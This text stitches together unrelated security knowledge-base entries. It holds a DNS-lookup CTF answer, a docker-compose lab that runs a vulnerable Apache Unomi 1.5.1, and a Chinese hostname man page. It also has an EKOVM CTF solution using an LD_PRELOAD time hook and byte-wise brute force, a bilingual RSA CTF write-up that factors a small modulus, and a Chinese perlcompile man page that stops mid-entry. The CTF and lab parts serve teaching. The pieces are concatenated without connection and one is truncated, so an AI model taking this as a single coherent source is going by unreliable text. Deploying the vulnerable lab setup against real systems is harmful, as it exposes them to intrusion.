# Who am I Misc, 100 points ## Description: > What is the A record for tamuctf.com? > (Not in standard gigem{flag} format) ## Solution: We can use `host` to determine the A record for the server. ```console root@kali:/media/sf_CTFs/tamu# host -a tamuctf.com Trying "tamuctf.com" ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 60722 ;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;tamuctf.com. IN ANY ;; ANSWER SECTION: tamuctf.com. 85865 IN A 52.33.57.247 tamuctf.com. 85865 IN NS c.ns.joker.com. tamuctf.com. 85865 IN NS a.ns.joker.com. tamuctf.com. 85865 IN NS b.ns.joker.com. ```
sec-knowleage
version: '2' services: web: image: vulhub/unomi:1.5.1 ports: - "9443:9443" - "8181:8181" environment: - UNOMI_ELASTICSEARCH_ADDRESSES=elasticsearch:9200 depends_on: - elasticsearch elasticsearch: image: elasticsearch:7.9.3 environment: - cluster.name=contextElasticSearch - discovery.type=single-node - "ES_JAVA_OPTS=-Xms512m -Xmx512m" - bootstrap.memory_lock=true
sec-knowleage
.TH HOSTNAME "1" "1996年1月28日" "net-tools(网络工具)" "Linux Programmer's Manual(Linux程序员手册)" .SH NAME(名称) hostname \- 显示或设置系统的主机名 .br domainname \- 显示或设置系统的NIS/YP域名 .br dnsdomainname \- 显示系统的DNS域名 .br nisdomainname \- 显示或设置系统的NIS/YP域名 .br ypdomainname \- 显示或设置系统的NIS/YP域名 .br nodename \- 显示或设置系统的DECnet节点名 .SH SYNOPSIS(总览) .B hostname .RB [ \-v ] .RB [ \-a ] .RB [ \-\-alias ] .RB [ \-d ] .RB [ \-\-domain ] .RB [ \-f ] .RB [ \-\-fqdn ] .RB [ \-i ] .RB [ \-\-ip-address ] .RB [ \-\-long ] .RB [ \-s ] .RB [ \-\-short ] .RB [ \-y ] .RB [ \-\-yp ] .RB [ \-\-nis ] .RB [ \-n ] .RB [ \-\-node ] .PP .B hostname .RB [ \-v ] .RB [ \-F\ filename ] .RB [ \-\-file\ filename ] .RB [ hostname ] .PP .B domainname .RB [ \-v ] .RB [ \-F\ filename ] .RB [ \-\-file\ filename ] .RB [ name ] .PP .B nodename .RB [ \-v ] .RB [ \-F\ filename ] .RB [ \-\-file\ filename ] .RB [ name ] .PP .B hostname .RB [ \-v ] .RB [ \-h ] .RB [ \-\-help ] .RB [ \-V ] .RB [ \-\-version ] .PP .B dnsdomainname .RB [ \-v ] .br .B nisdomainname .RB [ \-v ] .br .B ypdomainname .RB [ \-v ] .SH DESCRIPTION(描述) .B Hostname 是一个用来设置或显示当前主机,域或者系统的节点名的程序.许多联网程序使用这些名字来 标识机器.NIS/YP同样也使用域名. .SS "GET NAME"(获取名字) 如果不调用任何参数,程序即显示当前的名字: .LP .B hostname 会打印系统的名字为通过 .BR gethostname (2) 函数返回的值. .LP .B "domainname,nisdomainname,ypdomainname" 会打印系统的名字为通过 .BR getdomainname (2) 函数返回的值.这同时也被看作系统的YP/NIS域名. .LP .B nodename 会打印系统的DECnet节点名为通过 .BR getnodename (2) 函数返回的值. .LP .B dnsdomainname 会打印FQDN(完全资格域名)的域部分.系统的完整的FQDN可使用 .BR "hostname \-\-fqdn" 返回. .SS "SET NAME"(设置名字) 如果带一个参数或者带 .B \-\-file 选项调用的话,命令即设置主机名,NIS/YP域名或者节点名. .LP 注意,只有超级用户才可以修改这些名字. .LP 不可能使用 .B dnsdomainname 命令(参看下面的 .B "THE FQDN" ) 来设置FQDN或者DNS域名. .LP 每次系统启动时,主机名通常在 .I /etc/rc.d/rc.inet1 或 .I /etc/init.d/boot (一般通过读取文件的内容,其中包括了主机名,例如, .IR /etc/hostname )中设置. .SS THE FQDN 你不能使用该命令修改FQDN(通过 .BR "hostname \-\-fqdn" 返回) 或者DNS域名(通过 .BR "dnsdomainname" 返回).系统的FQDN是一个由 .BR resolver (3) 返回的主机名. .LP 从技术上说:FQDN指的是使用 .BR gethostbyname (2) 以返回 gethostname (2) 所返回主机名的名字. DNS域名是第一个圆点之后的部分. .LP 因此它依赖于你修改方式的配置(通常在 .IR /etc/host.conf 中).通常(如果hosts文件在DNS或NIS之前解析)你可以在 .IR /etc/hosts 中修改. .SH OPTIONS(选项) .TP .I "\-a,\-\-alias" 显示主机的别名(如果使用了的话). .TP .I "\-d,\-\-domain" 显示DNS域名.不要使用命令 .B domainname 来获得DNS域名,因为这会显示NIS域名而非DNS域名.可使用 .B dnsdomainname 替换之. .TP .I "\-F,\-\-file filename" 从指定文件中读取主机名.注释(以一个`#'开头的行)可忽略. .TP .I "\-f,\-\-fqdn,\-\-long" 显示FQDN(完全资格域名).一个FQDN包括一个短格式主机名和DNS域名.除非你正在使用bind或 者NIS来作主机查询,否则你可以在\fI/etc/hosts\fR文件中修改FQDN和DNS域名(这是FQDN的一 部分). .TP .I "\-h,\-\-help" 打印用法信息并退出. .TP .I "\-i,\-\-ip-address" 显示主机的IP地址(组). .TP .I "\-n,\-\-node" 显示DECnet节点名.如果指定了参数(或者指定了 .B \-\-file name ),那么root也可以设置一个新的节点名. .TP .I "\-s,\-\-short" 显示短格式主机名.这是一个去掉第一个圆点后面部分的主机名. .TP .I "\-V,\-\-version" 在标准输出上打印版本信息并以成功的状态退出. .TP .I "\-v,\-\-verbose" 详尽说明并告知所正在执行的. .TP .I "\-y,\-\-yp,\-\-nis" 显示NIS域名.如果指定了参数(或者指定了 .B \-\-file name ),那么root也可以设置一个新的NIS域. .SH FILES(相关文件) .B /etc/hosts .SH AUTHOR(作者) Peter Tobias, <tobias@et-inf.fho-emden.de> .br ernd Eckenfels, <net-tools@lina.inka.de> (NIS and manpage). .br Steve Whitehouse, <SteveW@ACM.org> (DECnet support and manpage). .SH "[中文版维护人]" .B riser <boomer@ccidnet.com> .SH "[中文版最新更新]" .BR 2000/12/14 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# EKOVM (vm, 465 points, 22 solves) Lets try to solve another challenge blackbox-ish-ly. ![task.png](task.png) Upon inspecting the binary we discover two important facts: The random generator inside the cipher is seeded with time: ``` c++ __int64 (__fastcall *__fastcall sub_48A0(__int64 a1))() { unsigned int v1; // eax@1 _QWORD *v2; // rax@1 __int64 (__fastcall *result)(); // rax@3 v1 = time(0LL); srand(v1); v2 = (_QWORD *)(a1 + 272); do { *v2 = sub_1450; ++v2; } while ( v2 != (_QWORD *)(a1 + 2320) ); ... ``` If we now "freeze" the time and execute the program with a constant seed, another thing becomes obvious: ``` INPUT OUTPUT A 062540210007630520 AB 062540210063357420007630520 ABC 062540210063357420064176630007630520 ABCD 062540210063357420064176630065016040007630520 ABCDE 062540210063357420064176630065016040065635250007630520 ``` The encryption happens only one byte at a time, which means that we can easily bruteforce the flag byte by byte. Let's start off by brute-forcing the seed, as we can see in the screenshot the time is probably equal to a few seconds after 1504329641. We're going to use a cool LD_PRELOAD trick to set the returned time to whatever we want. Ideally this would be done by returning a environmental value instead of compiling the library each time, but this works too: ``` python required = "064325164070762714074006534135340214127270554045162244072374624125051700122026060046574154042136424131507430122633024136752124007461350" for i in range(100): patched = """#include <time.h> time_t time(time_t *t){ return %d; }""" % (1504329641 + i) f = open("time.c","wb") f.write(patched) f.close() flag = "E" f = open("/tmp/b", "wb") f.write(flag) f.close() os.system("gcc -fPIC -c time.c -o time.o; gcc -shared -o time.so time.o") os.system("LD_PRELOAD=\"./time.so\" ./ekovm < /tmp/b > /tmp/a") out = open("/tmp/a").read() output = ''.join(out.split("\n")[4:]) if required.startswith(output): print("Correct seed %d" % (1504329641 + i)) break ``` `Correct seed: 1504329734` Using that value we can write a simple script to solve the rest of the challenge: ``` python password = "EKO" while True: for i in string.printable: flag = password + i f = open("/tmp/b", "wb") f.write(flag) f.close() os.system("LD_PRELOAD=\"./time.so\" ./ekovm < /tmp/b > /tmp/a") out = open("/tmp/a").read() output = ''.join(out.split("\n")[4:]) if output in required: password += i print(password) break ``` And get the flag without reversing the vm at all: `EKO{s1Mpl3-vm}`
sec-knowleage
## RSA (Crypto, 113p) ###ENG [PL](#pl-version) In the task we get source code of encryption routine, a public key and encrypted flag. The source code is quite simple: ```python import gmpy from Crypto.Util.number import * from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 flag = open('flag', 'r').read() * 30 def ext_rsa_encrypt(p, q, e, msg): m = bytes_to_long(msg) while True: n = p * q try: phi = (p - 1)*(q - 1) d = gmpy.invert(e, phi) pubkey = RSA.construct((long(n), long(e))) key = PKCS1_v1_5.new(pubkey) enc = key.encrypt(msg).encode('base64') return enc except: p = gmpy.next_prime(p**2 + q**2) q = gmpy.next_prime(2*p*q) e = gmpy.next_prime(e**2) p = getPrime(128) q = getPrime(128) n = p*q e = getPrime(64) pubkey = RSA.construct((long(n), long(e))) f = open('pubkey.pem', 'w') f.write(pubkey.exportKey()) g = open('flag.enc', 'w') g.write(ext_rsa_encrypt(p, q, e, flag)) ``` Initially the algorithm generates a very small 128 bit primes and constructs modulus from them. This is the modulus value from the public key we get. However the algoritm is not using this small value for encryption since the data are too long - it uses `gmpy.next_prime()` to get bigger prime numbers. The problem is that `next_prime` is deterministic so if we can get the initial `p` and `q` values we can simply perform the same kind of iteration to get the `p` and `q` used for encrypting the flag. Since the initial modulus is just 256 bit we can factor it with YAFU to get the initial primes. We then simply perform the same loop to get final primes, we use modinv to get decryption exponent and then simply decrypt the flag: ```python import base64 import codecs import gmpy import math from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 n = 98099407767975360290660227117126057014537157468191654426411230468489043009977 p = 311155972145869391293781528370734636009 # from YAFU q = 315274063651866931016337573625089033553 e = 12405943493775545863 def long_to_bytes(flag): return "".join([chr(int(flag[i:i + 2], 16)) for i in range(0, len(flag), 2)]) def bytes_to_long(str): return int(str.encode('hex'), 16) with codecs.open("./flag.enc") as flag: data = flag.read() msg = base64.b64decode(data) print('msg', math.log(bytes_to_long(msg), 2)) while True: print("looping") try: print('p*q', math.log(long(p), 2)+math.log(long(q), 2)) phi = (p - 1) * (q - 1) d = gmpy.invert(e, phi) key = RSA.construct((long(n), long(e), long(d))) algo = PKCS1_v1_5.new(key) decrypted = algo.decrypt(msg, 0x64) print(decrypted) print(p, q, e) print(long_to_bytes(decrypted)) except Exception as ex: print(ex) p = gmpy.next_prime(p ** 2 + q ** 2) q = gmpy.next_prime(2 * p * q) e = gmpy.next_prime(e ** 2) n = long(p)*long(q) ``` ###PL version W zadaniu dostajemy kod źródłowy szyfrowania, klucz publiczny oraz zaszyfrowaną flagę. Kod jest dość prosty: ```python import gmpy from Crypto.Util.number import * from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 flag = open('flag', 'r').read() * 30 def ext_rsa_encrypt(p, q, e, msg): m = bytes_to_long(msg) while True: n = p * q try: phi = (p - 1)*(q - 1) d = gmpy.invert(e, phi) pubkey = RSA.construct((long(n), long(e))) key = PKCS1_v1_5.new(pubkey) enc = key.encrypt(msg).encode('base64') return enc except: p = gmpy.next_prime(p**2 + q**2) q = gmpy.next_prime(2*p*q) e = gmpy.next_prime(e**2) p = getPrime(128) q = getPrime(128) n = p*q e = getPrime(64) pubkey = RSA.construct((long(n), long(e))) f = open('pubkey.pem', 'w') f.write(pubkey.exportKey()) g = open('flag.enc', 'w') g.write(ext_rsa_encrypt(p, q, e, flag)) ``` Początkowo algorytm generuje bardzo małe 128 bitowe liczby pierwsze i buduje z nich modulusa. To jest wartość modulusa w kluczu publicznym, który dostajemy. Niemniej jednak algorytm nie używa tych małych liczb do szyfrowania ponieważ liczba danych jest za duża - zamiast tego używa `gmpy.next_prime()` żeby znaleźć większe liczby pierwze. Problem z tym rozwiązaniem polega na tym, że `next_prime` jest deterministyczne więc jeśli znamy początkowe wartości `p` oraz `q` możemy wykonać taką samą iteracje i wyzaczyć finalne `p` oraz `q` użyte do szyfrowania flagi. Ponieważ znany modulus ma tylko 256 bitów możemy go faktoryzować za pomocą YAFU aby dostać początkowe wartości liczb pierwszyh. Następnie po prostu wykonujemy identyczną pętlę jak w kodzie z zadania aby wyznaczyć finalne wartości liczb pierwszych, używamy modinv żeby wyliczyć wykładnik deszyfrujący a następnie dekodujemy flagę: ```python import base64 import codecs import gmpy import math from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 n = 98099407767975360290660227117126057014537157468191654426411230468489043009977 p = 311155972145869391293781528370734636009 # from YAFU q = 315274063651866931016337573625089033553 e = 12405943493775545863 def long_to_bytes(flag): return "".join([chr(int(flag[i:i + 2], 16)) for i in range(0, len(flag), 2)]) def bytes_to_long(str): return int(str.encode('hex'), 16) with codecs.open("./flag.enc") as flag: data = flag.read() msg = base64.b64decode(data) print('msg', math.log(bytes_to_long(msg), 2)) while True: print("looping") try: print('p*q', math.log(long(p), 2)+math.log(long(q), 2)) phi = (p - 1) * (q - 1) d = gmpy.invert(e, phi) key = RSA.construct((long(n), long(e), long(d))) algo = PKCS1_v1_5.new(key) decrypted = algo.decrypt(msg, 0x64) print(decrypted) print(p, q, e) print(long_to_bytes(decrypted)) except Exception as ex: print(ex) p = gmpy.next_prime(p ** 2 + q ** 2) q = gmpy.next_prime(2 * p * q) e = gmpy.next_prime(e ** 2) n = long(p)*long(q) ```
sec-knowleage
.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.14 .\" .\" Standard preamble: .\" ======================================================================== .de Sh \" Subsection heading .br .if t .Sp .ne 5 .PP \fB\\$1\fR .PP .. .de Sp \" Vertical space (when we can't use .PP) .if t .sp .5v .if n .sp .. .de Vb \" Begin verbatim text .ft CW .nf .ne \\$1 .. .de Ve \" End verbatim text .ft R .fi .. .\" Set up some character translations and predefined strings. \*(-- will .\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left .\" double quote, and \*(R" will give a right double quote. | will give a .\" real vertical bar. \*(C+ will give a nicer C++. Capital omega is used to .\" do unbreakable dashes and therefore won't be available. \*(C` and \*(C' .\" expand to `' in nroff, nothing in troff, for use with C<>. .tr \(*W-|\(bv\*(Tr .ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p' .ie n \{\ . ds -- \(*W- . ds PI pi . if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch . if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch . ds L" "" . ds R" "" . ds C` "" . ds C' "" 'br\} .el\{\ . ds -- \|\(em\| . ds PI \(*p . ds L" `` . ds R" '' 'br\} .\" .\" If the F register is turned on, we'll generate index entries on stderr for .\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index .\" entries marked with X<> in POD. Of course, you'll have to process the .\" output yourself in some meaningful fashion. .if \nF \{\ . de IX . tm Index:\\$1\t\\n%\t"\\$2" .. . nr % 0 . rr F .\} .\" .\" For nroff, turn off justification. Always turn off hyphenation; it makes .\" way too many mistakes in technical documents. .hy 0 .if n .na .\" .\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2). .\" Fear. Run. Save yourself. No user-serviceable parts. . \" fudge factors for nroff and troff .if n \{\ . ds #H 0 . ds #V .8m . ds #F .3m . ds #[ \f1 . ds #] \fP .\} .if t \{\ . ds #H ((1u-(\\\\n(.fu%2u))*.13m) . ds #V .6m . ds #F 0 . ds #[ \& . ds #] \& .\} . \" simple accents for nroff and troff .if n \{\ . ds ' \& . ds ` \& . ds ^ \& . ds , \& . ds ~ ~ . ds / .\} .if t \{\ . ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u" . ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u' . ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u' . ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u' . ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u' . ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u' .\} . \" troff and (daisy-wheel) nroff accents .ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V' .ds 8 \h'\*(#H'\(*b\h'-\*(#H' .ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#] .ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H' .ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u' .ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#] .ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#] .ds ae a\h'-(\w'a'u*4/10)'e .ds Ae A\h'-(\w'A'u*4/10)'E . \" corrections for vroff .if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u' .if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u' . \" for low resolution devices (crt and lpr) .if \n(.H>23 .if \n(.V>19 \ \{\ . ds : e . ds 8 ss . ds o a . ds d- d\h'-1'\(ga . ds D- D\h'-1'\(hy . ds th \o'bp' . ds Th \o'LP' . ds ae ae . ds Ae AE .\} .rm #[ #] #H #V #F C .\" ======================================================================== .\" .IX Title "PERLCOMPILE 1" .TH PERLCOMPILE 7 "2003-11-25" "perl v5.8.3" "Perl Programmers Reference Guide" .SH "NAME" perlcompile \- 关于 Perl 编译器和翻译器的介绍 .SH "DESCRIPTION 描述" .IX Header "DESCRIPTION" Perl 一直是有一个编译器的:你的源文件会被编译成一种内部格式(一种语法分析树),并且在运行前还会被优化。从5.005版本起,Perl 在发行时就带有一个模块可以检查优化过的语法分析树(该模块称作B模块(\f(CW\*(C`B\*(C'\fR)),它被用来编写许多有用的功能,包括一个可以将你的Perl转成C源代码的模块,这样再编译后就可以得到一个可执行的文件了。 .PP \f(CW\*(C`B\*(C'\fR 模块提供了访问语法分析树的方法, 其它的一些模块(“后端”)则对这个树进行操作。一些把它(语法树)以字节码的形式输出,还有以C源代码形式的输出的,后者以半可读的文本形式输出的。另一些遍历整棵语法树以建立一个关于所使用的子程序,格式及变量的交叉引用表。还有另外一些检查你的代码,看看有没有模棱两可的构造。另一些则重新将语法树导出成Perl代码,可以起代码美化或是消除混乱的代码的作用。 .PP 因为 \&\f(CW\*(C`B\*(C'\fR 模块的最初目的是提供一种能将Perl程序转为对应C代码的方法,接着就能把它变成可执行文件了,所以 \&\f(CW\*(C`B\*(C'\fR 模块和它的那些后端模块就被认为是“编译器”了,即使它们实际上没有做任何编译方面的事。这个编译器的各个部分精确的说应该是个“翻译器”,或者一个“检视器”,但是用Perl的人们想要一个“编译选项”而不是一个叫做“检视器”的小玩艺。你能怎么办呢? .PP 这篇文章的主要内容是讲Perl编译器的用法:它包含的模块,怎样使用那些最重要的后端模块,它们有什么问题,如何让它们工作。 .Sh "Layout 布局" .IX Subsection "Layout" 编译器的后端放在 \f(CW\*(C`B::\*(C'\fR 里面,而前端(就是你,编译器的使用者,有时候要与之交互的)是 O 模块。一些后端(如 \f(CW\*(C`B::C\*(C'\fR))提供了一些程序(如\fIperlcc\fR)来隐藏模块的复杂性。 .PP 这里是一些值得知道的重要后端,并附有它们目前的状态,用0到10的整数表示。(状态0表示目前该部分功能只是有一个框架,还没有实现;状态10则表示如果还有Bug的话,我们会感到很奇怪的): .IP "B::Bytecode" 4 .IX Item "B::Bytecode" 将语法树存成机器相关的格式,可供BtyeLoader模块可以在以后重新装入。状态:5(一些部分可以工作,一些不可以,还有一些还没有测试) .IP "B::C" 4 .IX Item "B::C" 创建C代码文件,其中包括了重建语法树和恢复解释器的代码。状态:6(许多情况下可以正常工作,包括使用了Tk的程序)。 .IP "B::CC" 4 .IX Item "B::CC" 按照语法树中运行期代码的路径创建C代码文件。这是最像 Perl - C 翻译器的一个,但是它生成的代码几乎是不能看懂的,因为它把语法树翻译成了一个巨大的switch结构来操作Perl中的结构。最终的目的是在perl程序中给出足够的类型信息后,可以将 perl 数据结构的操作转换为 c 级别的数据结构,对 int 和 float 的操作。状态:5 (有些可以工作,包括不复杂的 Tk 示例). .IP "B::Lint" 4 .IX Item "B::Lint" 当发现你的代码中有模棱两可的构造时会发出警告。状态:6(许多情况下可以正常工作,仅仅在很少数的领域内它会停止工作)。 .IP "B::Deparse" 4 .IX Item "B::Deparse" 重新生成Perl代码,试着把代码用一致的格式写出来。状态:8(它工作得很好,只是会略去一些晦涩难懂的部分)。 .IP "B::Xref" 4 .IX Item "B::Xref" 生成关于申明和关于变量以及子程序的使用情况的报告。状态:8(它工作得很好,只是仍有一点延迟方面的bugs)。 .SH "Using The Back Ends 使用后端" .IX Header "Using The Back Ends" 接下来的部分介绍怎样使用各种各样的编译器后端。介绍的顺序按照后端的成熟程度排列,所以最为稳定的,经过了验证的后端会最先介绍,还在试验中和没有完成的后端就放到后面描述了。 .PP O模块默认让 \fB\-c\fR 开关有效,这防止Perl在编译完代码后运行程序。这也是为什么所有的后端在产生任何输出前都会打印一句: .PP .Vb 1 \& myperlprogram syntax OK .Ve .PP .Sh "The Cross Referencing Back End 交叉引用后端" .IX Subsection "The Cross Referencing Back End" 交叉引用后端(B::Xref)生成一个关于你的程序的报表,把各个申明以及子程序,变量(包括格式)的使用情况存入文件中去。举例来说,这有一段摘自对pod2man程序分析后生成的报表(该程序是Perl自带的一个例程): .PP .Vb 12 \& Subroutine clear_noremap \& Package (lexical) \& $ready_to_print i1069, 1079 \& Package main \& $& 1086 \& $. 1086 \& $0 1086 \& $1 1087 \& $2 1085, 1085 \& $3 1085, 1085 \& $ARGV 1086 \& %HTML_Escapes 1085, 1085 .Ve .PP 这里展示了\f(CW\*(C`clear_noremap\*(C'\fR 子程序中变量的使用情况。就像变量 \f(CW$ready_to_print\fR 是 \fImy()\fR (词法) 的一个变量,在第1069行被引入( 原文用的词是introduced,也就是在 \fImy()\fR 中第一次被定义的意思 ),然后在第1079行该变量被使用了。从主包(main package)中来的变量 \f(CW$&\fR 又在第1086行被使用, 等等。 .PP 行号前面可能会有一个字母作为前缀,它们的意思是: .IP "i" 4 .IX Item "i" 变量首次被引入 (在my()中申明) 。 .IP "&" 4 子程序或者方法的引用。 .IP "s" 4 .IX Item "s" 定义的子程序。 .IP "r" 4 .IX Item "r" 定义的格式。 .PP 交叉引用中最为有用的选项就是把报表存入不同的文件,例如要把关于 \&\fImyperlprogram\fR 的报表存入文件 \fIreport\fR 中: .PP .Vb 1 \& $ perl -MO=Xref,-oreport myperlprogram .Ve .Sh "The Decompiling Back End 反编译后端" .IX Subsection "The Decompiling Back End" 反编译后端将把你的Perl语法树重新变成源代码。生成的源代码会按照某种格式组织,所以这个后端可以用来消除代码中的混乱部分。此后端的基本使用方法如下: .PP .Vb 1 \& $ perl -MO=Deparse myperlprogram .Ve .PP 你也许马上会发现Perl并不知道如何给你的代码分段。你要自己手动添入新行来把这大断的代码分开。然而现在,让我们看看代码只有一行时情况怎样,这个后端会做些什么: .PP .Vb 12 \& $ perl -MO=Deparse -e '$op=shift||die "usage: $0 \& code [...]";chomp(@ARGV=<>)unless@ARGV; for(@ARGV){$was=$_;eval$op; \& die$@ if$@; rename$was,$_ unless$was eq $_}' \& -e syntax OK \& $op = shift @ARGV || die("usage: $0 code [...]"); \& chomp(@ARGV = <ARGV>) unless @ARGV; \& foreach $_ (@ARGV) { \& $was = $_; \& eval $op; \& die $@ if $@; \& rename $was, $_ unless $was eq $_; \& } .Ve .PP 这个后端也有几条选项控制生成的代码,举例说,你可以把缩进的尺寸设在4(最大)到2之间: .PP .Vb 1 \& $ perl -MO=Deparse,-si2 myperlprogram .Ve .PP \fB\-p\fR 开关控制在常常可以不加圆括号的地方加上它们: .PP .Vb 6 \& $ perl -MO=Deparse -e 'print "Hello, world\en"' \& -e syntax OK \& print "Hello, world\en"; \& $ perl -MO=Deparse,-p -e 'print "Hello, world\en"' \& -e syntax OK \& print("Hello, world\en"); .Ve .PP 要知道更多,请参考 B::Deparse .Sh "Lint 后端" .IX Subsection "The Lint Back End" lint 后端 (B::Lint) 检察程序中不好的程序风格。一个程序认为的不好风格可能对另外一个程序员来说是用起来很有效的工具,所以有选项让你设定哪些东东将会受到检查。 .PP 要运行一个风格检查器检察你的代码: .PP .Vb 1 \& $ perl -MO=Lint myperlprogram .Ve .PP 要取消对上下文和没有定义的子程序的检查: .PP .Vb 1 \& $ perl -MO=Lint,-context,-undefined-subs myperlprogram .Ve .PP 要知道更多的选项信息,请看 B::Lint .Sh "The Simple C Back End 简化的C后端" .IX Subsection "The Simple C Back End" 这个模块用来把你的Perl程序的内部编译状态存储到一个C代码文件中去,而生成的C代码就可以被特定平台上的C编译器转换成一个可执行文件了。最后的程序还会和Perl解释器的库文件静态链接起来,所以它不会节省你的磁盘空间(除非你的Perl是用共享的库文件创建的)或是程序大小,然而,另一方面,程序启动起来会快一些。 .PP \f(CW\*(C`perlcc\*(C'\fR 工具缺省是生成以下的可执行文件。 .PP .Vb 1 \& perlcc myperlprogram.pl .Ve .Sh "The Bytecode Back End 字节码后端" .IX Subsection "The Bytecode Back End" 这个模块只有在你能够找到一种方法来装入并运行它生成的字节码时才会显得有用。ByteLoader模块提供了这项功能。 .PP 要把Perl转换成可执行的字节码,你可以使用 \f(CW\*(C`perlcc\*(C'\fR 的 \f(CW\*(C`\-B\*(C'\fR 开关: .PP .Vb 1 \& perlcc -B myperlprogram.pl .Ve .PP 字节码是和机器类型无关的,所以一旦你编译了一个模块或是程序,它就可以像Perl源代码一样具有可移植性。(假设那个模块或者程序的使用者有一个足够新的Perl解释器来对字节码进行解码) .PP 有一些选项用来控制要生成的字节码的性质和关于优化方面的参数,要知道这些选项的详细情况,请参考 \fBB::Bytecode\fR .Sh "The Optimized C Back End 优化的C后端" .IX Subsection "The Optimized C Back End" 优化的C后端按照语法树中运行期代码的路径将你的Perl程序转换成等效的(但是被优化了的)C代码文件。这个C程序会直接对Perl的数据结构进行操作,而且也会链接Perl的解释器的库文件,以支持 \fIeval()\fR, \f(CW\*(C`s///e\*(C'\fR, \&\f(CW\*(C`require\*(C'\fR 等等。 .PP \f(CW\*(C`perlcc\*(C'\fR 工具使用 \-O 开关生成这种可执行文件。要编译一个Perl程序(以\f(CW\*(C`.pl\*(C'\fR 或者\f(CW\*(C`.p\*(C'\fR 结尾): .PP .Vb 1 \& perlcc -O myperlprogram.pl .Ve .PP 从Perl模块创建一个共享库文件(以 \f(CW\*(C`.pm\*(C'\fR 结尾): .PP .Vb 1 \& perlcc -O Myperlmodule.pm .Ve .PP 知道更多,请参考 perlcc 和 B::CC. .SH "Module List for the Compiler Suite 编译套件的模块列表" .IX Header "Module List for the Compiler Suite" .IP "B" 4 .IX Item "B" 这个模块是一个自省的(introspective,用Java的术语说就是“reflective”)模块,允许Perl程序审视自己的内部。后端模块都是通过这个模块来访问语法分析树的。而你,后端模块的用户,就不用和B模块打交道了。 .IP "O" 4 .IX Item "O" 这个模块是编译器的那些后端的前端,一般像这样进行调用: .Sp .Vb 1 \& $ perl -MO=Deparse myperlprogram .Ve .Sp 这与在这个Perl程序中使用 \f(CW\*(C`use O 'Deparse'\*(C'\fR 相同。 .IP "B::Asmdata" 4 .IX Item "B::Asmdata" 这个模块被 B::Assembler 模块使用,而 B::Assembler 又接着被 B::Bytecode 模块使用,B::Bytecode中有一个字节码形式存放的语法分析树以便以后装入。B::Asmdata自己并不算是一个后端,也许说它是后端的一个组件比较好。 .IP "B::Assembler" 4 .IX Item "B::Assembler" 这个模块可以将语法树转为适合存储和恢复的数据形式。它本身不是一个后端,但是算是某个后端的一个组件。 assemble 程序用它来生成字节码。 .IP "B::Bblock" 4 .IX Item "B::Bblock" 这个模块被 B::CC 后端使用。它被用来运行“基本块”。一个基本块就是一段从头到尾的操作,中间是不可能停下来或出现分支的。 .IP "B::Bytecode" 4 .IX Item "B::Bytecode" 这个模块可以由程序的语法树生成字节码。生成的字节码会被写入到文件中,以后还能被重新恢复成语法树。总的目标就是为了只进行一次费时的程序编译工作,然后把解释器的状态存入文件中,运行程序时再把状态从文件中恢复。 具体的用法请参考 \*(L"The Bytecode Back End\*(R" 。 .IP "B::C" 4 .IX Item "B::C" 这个模块按照语法树和其他一些解释器的内部数据结构生成C代码。然后你再编译生成的C代码,就可以得到一个可执行文件了。运行时这个可执行文件会恢复解释器和内部的数据结构来转动程序。要知道细节请参考 \*(L"The Simple C Back End\*(R"。 .IP "B::CC" 4 .IX Item "B::CC" 这个模块按照你程序中的操作生成C代码。不像 B::C 模块只是把解释和它的状态存入C程序中, B::CC 模块生成的是不包含解释器的C 程序,所以用 B::CC 翻译的C 程序运行速度比一般的解释执行的程序速度要快,具体用法请参考 \*(L"The Optimized C Back End\*(R" 。 .IP "B::Concise" 4 .IX Item "B::Concise" 这个模块输出一个简洁的 (但是完整的) Perl 分析树。它的输出比 B::Terse 或者 B::Debug 的结果更容易定制 (并且也可以模仿它们)。这个模块对书写自己的后端,或者学习 Perl 实现的人有用。它对一般的程序员没有用处。 .IP "B::Debug" 4 .IX Item "B::Debug" 这个模块把Perl语法分析树非常详细地输出到标准输出上去。这对正在编写自己的后端程序,或正在深入Perl内部机制的人们来说是非常有用的。对普通程序员来说则没什么用。 .IP "B::Deparse" 4 .IX Item 